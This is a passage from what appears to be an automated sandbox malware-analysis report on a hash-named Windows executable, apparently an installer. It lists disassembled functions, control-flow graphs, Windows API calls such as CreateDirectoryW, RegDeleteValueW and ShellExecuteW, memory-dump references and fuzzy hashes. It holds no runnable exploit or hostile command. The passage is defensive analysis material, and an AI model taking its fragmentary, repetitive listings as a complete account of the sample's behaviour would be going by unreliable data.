                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CountFileNameTempTick
                                            • String ID: "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"$nsa
                                            • API String ID: 1716503409-392255881
                                            • Opcode ID: 8f9989655f15aadf8d0cc60edb10422ff76ceb60520498c0bcc2ef1eb9998b51
                                            • Instruction ID: 0cdccb08d4a0cf0f0df5d656a0a7939b265b1f1c47613fc9c1e0506998bbacb4
                                            • Opcode Fuzzy Hash: 8f9989655f15aadf8d0cc60edb10422ff76ceb60520498c0bcc2ef1eb9998b51
                                            • Instruction Fuzzy Hash: C9F06276610608EBDB109F55DE05E9B7BA9EF94720F00803BE984A7190E6B099548B58
                                            Function 0040172D Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 390 40172d-401741 call 40145c call 405807 395 401743-40175f call 4057b3 CreateDirectoryW 390->395 396 401786-40178a 390->396 403 401761-40176c GetLastError 395->403 404 40177c-401784 395->404 397 4017aa-4017b1 call 401435 396->397 398 40178c-4017a5 call 401435 call 405ab8 SetCurrentDirectoryW 396->398 412 402c58-402c67 397->412 398->412 407 401779 403->407 408 40176e-401777 GetFileAttributesW 403->408 404->395 404->396 407->404 408->404 408->407
                                            APIs
                                              • Part of subcall function 00405807: CharNextW.USER32(?,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",0045FE18,?,00406059,0045FE18,0045FE18,le@,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",00000002,0040656C,?,004E00C8), ref: 00405815
                                              • Part of subcall function 00405807: CharNextW.USER32(00000000), ref: 0040581A
                                              • Part of subcall function 00405807: CharNextW.USER32(00000000), ref: 00405832
                                            • CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,0000005C,00000000), ref: 00401757
                                            • GetLastError.KERNEL32 ref: 00401761
                                            • GetFileAttributesW.KERNELBASE(00000000), ref: 0040176F
                                            • SetCurrentDirectoryW.KERNELBASE(00000000,004D40B0,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040179F
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
                                            • String ID:
                                            • API String ID: 3751793516-0
                                            • Opcode ID: ec289c12e333ee4ac1693090613418d4a5d7498326967ec6e3adcff5c70bf25f
                                            • Instruction ID: e2322852a9c4e47e6d687db6679f044b16e0241981b9ece66bf6cd58216f8cce
                                            • Opcode Fuzzy Hash: ec289c12e333ee4ac1693090613418d4a5d7498326967ec6e3adcff5c70bf25f
                                            • Instruction Fuzzy Hash: 3F01D631904621DBE7206B755D45B6F32A8EF14365B21063BF992F22E2D73C4C81866D
                                            Function 0040248E Relevance: 3.0, APIs: 2, Instructions: 45registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 423 40248e-402492 424 4024c0-4024cd call 40145c 423->424 425 402494-40249f call 40154d 423->425 430 4024db-4024e9 call 401497 424->430 431 4024cf-4024d5 424->431 432 401721-401728 425->432 433 4024a5-4024be call 40145c RegDeleteValueW RegCloseKey 425->433 440 4024eb-4024ed 430->440 431->430 434 402c58-402c67 432->434 433->440 440->434 442 4024f3 440->442 442->434
                                            APIs
                                              • Part of subcall function 0040154D: RegOpenKeyExW.KERNELBASE(?,00000000,00000000,?,?), ref: 00401587
                                            • RegDeleteValueW.KERNELBASE(00000000,00000000), ref: 004024AF
                                            • RegCloseKey.ADVAPI32(00000000), ref: 004024B8
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CloseDeleteOpenValue
                                            • String ID:
                                            • API String ID: 849931509-0
                                            • Opcode ID: 28d58af51618036718c252708d6da1339e8b50d3138fddc83e0f4718e70968a2
                                            • Instruction ID: e1576bc29d89e2789c90d7360848647e5e88d3aa3db4fc6b5d334060f6266443
                                            • Opcode Fuzzy Hash: 28d58af51618036718c252708d6da1339e8b50d3138fddc83e0f4718e70968a2
                                            • Instruction Fuzzy Hash: FE01863250061197EB15EBA49A59B7F7274EB80758F21413FE402BB1E1C67C8D81865D
                                            Function 0040139B Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 443 40139b-4013a0 444 40140c-40140e 443->444 445 401410 444->445 446 4013a2-4013b2 444->446 447 401412-401413 445->447 446->445 448 4013b4-4013b5 call 40159c 446->448 450 4013ba-4013bf 448->450 451 4013c1-4013c9 call 40137c 450->451 452 401416-40141b 450->452 455 4013cb-4013cd 451->455 456 4013cf-4013d4 451->456 452->447 457 4013d6-4013db 455->457 456->457 457->444 458 4013dd-401406 MulDiv SendMessageW 457->458 458->444
                                            APIs
                                            • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
                                            • SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: MessageSend
                                            • String ID:
                                            • API String ID: 3850602802-0
                                            • Opcode ID: 7d139e0d7de234bcf6a700e513e47626535988416de2a1309b9d7b071a3250d9
                                            • Instruction ID: d821e5382ecf7e63f516690336e344d0ace40c90d4042eade43e4a0886427dd5
                                            • Opcode Fuzzy Hash: 7d139e0d7de234bcf6a700e513e47626535988416de2a1309b9d7b071a3250d9
                                            • Instruction Fuzzy Hash: 2801FF31A202209BEB155F35AC08B6B3698A784315F20427EF855F72F2D678CC829B8C
                                            Function 004058FE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 459 4058fe-40592a GetFileAttributesW CreateFileW
                                            APIs
                                            • GetFileAttributesW.KERNELBASE(00000003,0040315B,C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe,80000000,00000003,?,?,?,00000000,004035D7,?), ref: 00405902
                                            • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,004035D7,?), ref: 00405924
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: File$AttributesCreate
                                            • String ID:
                                            • API String ID: 415043291-0
                                            • Opcode ID: 0a2f85832d22be582635bab1499ab015b7246acefa136c2a8fff2ea0c335f580
                                            • Instruction ID: 3557cad305de1e8d8744f7ed922a0974add56b4630c1d6058af0572804785a4b
                                            • Opcode Fuzzy Hash: 0a2f85832d22be582635bab1499ab015b7246acefa136c2a8fff2ea0c335f580
                                            • Instruction Fuzzy Hash: 0AD09E71654201EFEF099F20DE1AF6EBBA2EB84B01F11852CB692940E0DAB15819DB15
                                            Function 004058DE Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 460 4058de-4058eb GetFileAttributesW 461 4058fb 460->461 462 4058ed-4058f5 SetFileAttributesW 460->462 462->461
                                            APIs
                                            • GetFileAttributesW.KERNELBASE(?,00406701,?,?,?), ref: 004058E2
                                            • SetFileAttributesW.KERNEL32(?,00000000), ref: 004058F5
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: AttributesFile
                                            • String ID:
                                            • API String ID: 3188754299-0
                                            • Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
                                            • Instruction ID: 9bfeacdea6eb5f2932ef974784812b51c4f8f2d5e5736dd59436ec15d4266534
                                            • Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
                                            • Instruction Fuzzy Hash: 8DC01272404900AAC6001B34DF0881A7B22AB94331B258739B5BAE00F0CB3088A9AA18
                                            Function 00401F9B Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 463 401f9b-401ff3 call 40145c * 4 call 401435 ShellExecuteW 474 402c58-402c67 463->474 475 401ff9 463->475 475->474
                                            APIs
                                            • ShellExecuteW.SHELL32(?,00000000,?,00000000,004D40B0,00000000), ref: 00401FEA
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: ExecuteShell
                                            • String ID:
                                            • API String ID: 587946157-0
                                            • Opcode ID: 472f4eeaf3e5161a1656fb81187af857e571e343c78cb304711e9bc17c207397
                                            • Instruction ID: 63966a6383d29ffdfa22f329224652c183dd70f9b2d60f481563a5b1fdafd2c8
                                            • Opcode Fuzzy Hash: 472f4eeaf3e5161a1656fb81187af857e571e343c78cb304711e9bc17c207397
                                            • Instruction Fuzzy Hash: 6DF06232650224A6DB10BBB9DC86BAD37E89B44758F208537F601EA0E2D67CC8C18248
                                            Function 0040154D Relevance: 1.5, APIs: 1, Instructions: 32registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 478 40154d-40155c 479 401562-401568 478->479 480 40155e-401560 478->480 481 40156e-401599 call 40145c RegOpenKeyExW 479->481 480->481
                                            APIs
                                            • RegOpenKeyExW.KERNELBASE(?,00000000,00000000,?,?), ref: 00401587
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Open
                                            • String ID:
                                            • API String ID: 71445658-0
                                            • Opcode ID: 5e993feb771b5cf26465967f746d5e6f11a2072fdff488fd80c6cb0f440dea5c
                                            • Instruction ID: 25f660db1a1e8629dce7ab52a77c94397c675d14e237935d7f32c5267cf96d12
                                            • Opcode Fuzzy Hash: 5e993feb771b5cf26465967f746d5e6f11a2072fdff488fd80c6cb0f440dea5c
                                            • Instruction Fuzzy Hash: E8F0377A250109BBD700DB59DD41FE637DCE744B94F148036FA09DB151C735E44187A9
                                            Function 0040188D Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                            Download Yara Rule
                                            APIs
                                            • SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,?,?), ref: 004018A4
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: PathSearch
                                            • String ID:
                                            • API String ID: 2203818243-0
                                            • Opcode ID: 223388b599ff242e7ccadcd08180d40b3faf74b659585ba66a24a54107b5256e
                                            • Instruction ID: 00f5228fbcba69d7f7f389f47c449123412ef94834c0b690fd6e23632fde5db3
                                            • Opcode Fuzzy Hash: 223388b599ff242e7ccadcd08180d40b3faf74b659585ba66a24a54107b5256e
                                            • Instruction Fuzzy Hash: ABE04F32304255AAF340DBA4DD49B9E73A4DB40728F20423AEA15F60D1E3B49A84C769
                                            Function 00402E9E Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402F3A,000000FF,00000004,00000000,00000000,00000000), ref: 00402EB5
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: FileRead
                                            • String ID:
                                            • API String ID: 2738559852-0
                                            • Opcode ID: 6eb761298bb8b99514d02d989ea50b9b43b036f115663e871731ccf59cb5bf7b
                                            • Instruction ID: bd695a607233752ff1959b473a7ca1503adc94cd5dff5db9087338bb7c64902f
                                            • Opcode Fuzzy Hash: 6eb761298bb8b99514d02d989ea50b9b43b036f115663e871731ccf59cb5bf7b
                                            • Instruction Fuzzy Hash: F0E08C322A0218BBCB219E91DE08AE73B5CEB047A2F008436B958E51D0D674D952DBF9
                                            Function 00403360 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00405AE7: CharNextW.USER32(?,*?|<>/":,00000000,004E00C8,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B4A
                                              • Part of subcall function 00405AE7: CharNextW.USER32(?,?,?,00000000), ref: 00405B59
                                              • Part of subcall function 00405AE7: CharNextW.USER32(?,004E00C8,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B5E
                                              • Part of subcall function 00405AE7: CharPrevW.USER32(?,?,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B72
                                            • CreateDirectoryW.KERNELBASE(004E00C8,00000000,004E00C8,004E00C8,004E00C8,00000002,0040359B), ref: 00403381
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
